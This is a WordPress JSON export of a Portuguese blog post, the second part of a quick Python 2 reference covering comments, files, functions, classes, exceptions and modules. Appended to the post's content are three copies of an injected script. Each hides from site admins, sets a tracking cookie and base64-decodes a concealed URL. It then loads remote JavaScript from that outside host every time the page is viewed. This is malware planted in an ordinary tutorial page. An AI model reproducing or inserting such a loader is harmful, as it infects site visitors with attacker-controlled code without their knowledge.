{"id":4079,"date":"2014-05-26T14:57:46","date_gmt":"2014-05-26T17:57:46","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=4079"},"modified":"2025-10-26T22:32:11","modified_gmt":"2025-10-27T01:32:11","slug":"guia-de-referencia-python-parte-2","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2014\/05\/26\/guia-de-referencia-python-parte-2\/","title":{"rendered":"Guia de refer\u00eancia Python \u2013 Parte 2"},"content":{"rendered":"<p>Continuando o <a title=\"Guia de refer\u00eancia Python \u2013 Parte 1\" href=\"http:\/\/www.thiagovespa.com.br\/blog\/2014\/05\/25\/guia-de-referencia-python-parte-1\/\" target=\"_blank\" rel=\"noopener\">guia de refer\u00eancia Python<\/a>. Segue a parte 2.<\/p>\n<h2>Coment\u00e1rios<\/h2>\n<ul>\n<li>S\u00f3 iniciar com #\n<ul>\n<li># Esse \u00e9 um coment\u00e1rio<\/li>\n<li>print \"Algo\" # Esse \u00e9 mais um coment\u00e1rio<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<h2>Arquivos<\/h2>\n<ul>\n<li>Abrir: &lt;variavel_arquivo&gt; = open(&lt;caminho_arquivo&gt;) ou open(&lt;caminho_arquivo&gt;,&lt;permiss\u00f5es) onde permiss\u00f5es podem ser: r (leitura), w (escrita) ou b (bin\u00e1rio)<\/li>\n<li>Ler linha: &lt;variavel_str&gt; = &lt;variavel_arquivo&gt;.readline()<\/li>\n<li>Fechar: &lt;variavel_arquivo&gt;.close()<\/li>\n<li>Escrita: &lt;variavel_arquivo&gt;.write(&lt;varivavel_conteudo&gt;)<\/li>\n<li>Exemplo:\n<ul>\n<li>arquivo = open(\"arquivo.txt\",\"r\")<br \/>\nlinha = arquivo.readline()<br \/>\nwhile linha:<br \/>\n&lt;tab&gt;print linha<br \/>\n&lt;tab&gt;linha = arquivo.readline()<br \/>\narquivo.close()<\/li>\n<li>arquivoescrita = open(\"escrita.txt\",\"w\")<br \/>\narquivoescrita.write(\"Conte\u00fado\")<br \/>\narquivoescrita.close()<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<h2>Fun\u00e7\u00f5es<\/h2>\n<ul>\n<li>As fun\u00e7\u00f5es tem que ser declaradas antes do uso: def &lt;nome_fun\u00e7\u00e3o&gt;(&lt;param1&gt;,&lt;param2&gt;,&lt;param3) : &lt;conteudo&gt;\n<ul>\n<li>def soma(a,b) :<br \/>\n&lt;tab&gt;c = a+b<br \/>\n&lt;tab&gt;return csomado = soma(3,4)<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<h2>Classes<\/h2>\n<ul>\n<li>Declara\u00e7\u00e3o: class &lt;nome_classe&gt;: &lt;conteudo&gt;<\/li>\n<li>Refer\u00eancia a ela pr\u00f3pria (this no java): self<\/li>\n<li>Construtor: def __init__(self): &lt;conteudo&gt;\n<ul>\n<li>class Pessoa:<br \/>\n&lt;tab&gt;def __init__(self):<br \/>\n&lt;tab&gt;&lt;tab&gt;nome=\"jo\u00e3o\"<br \/>\n&lt;tab&gt;def pula(self):<br \/>\n&lt;tab&gt;&lt;tab&gt;print \"pulando\"<\/li>\n<\/ul>\n<\/li>\n<li>Instanciar: &lt;variavel&gt; = &lt;nome_classe&gt;(&lt;parametros&gt;)\n<ul>\n<li>joao = Pessoa()<\/li>\n<\/ul>\n<\/li>\n<li>Invocar m\u00e9todos: &lt;variavel&gt;.&lt;metodo&gt;(&lt;parametros&gt;)\n<ul>\n<li>joao.pula()<\/li>\n<\/ul>\n<\/li>\n<li>Remover objeto: del &lt;variavel&gt;\n<ul>\n<li>del joao<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<h2>Tratamento de exce\u00e7\u00f5es e erros<\/h2>\n<ul>\n<li>Para tratar utilizar o try, except (semelhante ao try, catch do Java): try: &lt;comandos&gt; except &lt;tipo_erro&gt;, &lt;variavel_erro&gt;: &lt;comandos_do_que_fazer_com_erro&gt;\n<ul>\n<li>try:<br \/>\n&lt;tab&gt;arquivo = open(\"arquivo.txt\",\"r\")<br \/>\nexcept IOError, erro:<br \/>\n&lt;tab&gt;print erro<\/li>\n<\/ul>\n<\/li>\n<li>Lan\u00e7ar exce\u00e7\u00f5es, a mensagem \u00e9 opcional: raise &lt;classe_ou_instancia&gt; &lt;mensagem&gt;\n<ul>\n<li>raise NameError<\/li>\n<li>raise Exception \"Deu pau!\"<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<h2>M\u00f3dulos<\/h2>\n<ul>\n<li>Para importar m\u00f3dulos: import &lt;modulo&gt; ou import &lt;modulo1&gt;,&lt;modulo2&gt;,&lt;modulo3&gt;\n<ul>\n<li>import re, string, sys, os<\/li>\n<\/ul>\n<\/li>\n<li>M\u00f3dulos importantes e comuns: re (express\u00e3o regular), string (opera\u00e7\u00f5es com string), sys (fun\u00e7\u00f5es espec\u00edficas do sistema), os (fun\u00e7\u00f5es do sistema operacional)<\/li>\n<li>Importar apenas uma fun\u00e7\u00e3o: from &lt;modulo&gt; import &lt;fun\u00e7\u00e3o&gt;<\/li>\n<\/ul>\n<p>A\u00ed termina o guia de refer\u00eancia r\u00e1pida para Python. Se esqueci de algo me avisem, assim posso complementar.<\/p>\n<p>&nbsp;<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Continuando o guia de refer\u00eancia Python. Segue a parte 2. Coment\u00e1rios S\u00f3 iniciar com # # Esse \u00e9 um coment\u00e1rio print \"Algo\" # Esse \u00e9 mais um coment\u00e1rio Arquivos Abrir: &lt;variavel_arquivo&gt; = open(&lt;caminho_arquivo&gt;) ou open(&lt;caminho_arquivo&gt;,&lt;permiss\u00f5es) onde permiss\u00f5es podem ser: r <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2014\/05\/26\/guia-de-referencia-python-parte-2\/\">Continue lendo  <span class=\"screen-reader-text\">  Guia de refer\u00eancia Python \u2013 Parte 2<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[7],"tags":[],"class_list":["post-4079","post","type-post","status-publish","format-standard","hentry","category-python"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/4079","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=4079"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/4079\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=4079"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=4079"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=4079"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}